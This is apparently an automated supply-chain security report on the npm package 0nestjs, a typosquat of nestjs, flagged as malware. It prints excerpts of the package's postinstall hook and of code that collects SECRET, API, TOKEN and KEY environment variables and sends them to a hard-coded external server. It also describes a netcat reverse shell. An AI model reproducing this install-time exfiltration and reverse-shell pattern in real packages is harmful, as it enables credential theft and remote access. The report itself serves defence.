registry / Install hook abuse / 0nestjs
0nestjs
Typosquat of nestjs
This report shows the evidence for 0nestjs@0.0.1, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is an automatic install-time credential-exfiltration and reverse-shell chain, not a user-invoked administrative feature. The hard-coded external server and typosquat metadata further support malicious intent.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation runs the postinstall script.
Impact
An attacker-controlled server can receive credentials and obtain shell access under the installing user's permissions.
Mechanism
Environment-secret exfiltration and netcat reverse shell.
Attack narrative
When installed, the postinstall hook runs index.js. It reads the package server configuration, selects environment variables likely to contain credentials, sends them over TCP to 84.32.22.44:9999, and executes netcat with /bin/sh against that server. The package also identifies itself as a nestjs typosquat.
AI rationale
This is an automatic install-time credential-exfiltration and reverse-shell chain, not a user-invoked administrative feature. The hard-coded external server and typosquat metadata further support malicious intent.
Evidence
package.jsonindex.jsservers.json
Network endpoints1
84.32.22.44:9999
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest automatically runs index.js after installation.
- The install script collects environment variables whose names begin with SECRET, API, TOKEN, or KEY.
- Collected values are sent over a TCP connection to a configured external server.
- The same install path launches netcat with a shell, creating a reverse shell.
- The configured server is 84.32.22.44 on port 9999.
- The package describes itself as a typosquat of nestjs.
Evidence against
Behavioral surface
ChildProcessEnvironmentVarsFilesystem
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node index.js",
"start": "node index.js"
High
Ai Review Evidence
The manifest automatically runs index.js after installation.
package.jsonView on unpkg · L6index.jsView file
2const os = require('os');
L3: const net = require('net');
L4: const { exec } = require('child_process');
L5:
...
L7: try {
L8: servers = JSON.parse(fs.readFileSync('./servers.json'));
L9: } catch (e) {
...
L13: const envs = {};
L14: for (const key of Object.keys(process.env)) {
L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];
...
L23: const client = net.createConnection({ host, port }, () => {
L24: client.write(JSON.stringify(envs));
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
Findings
2 Critical6 High2 Medium2 Low
CriticalReverse Shellindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processindex.js
HighSame File Env Network Executionindex.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
Affected versions and remediation
This report applies to 0nestjs@0.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing 0nestjs@0.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.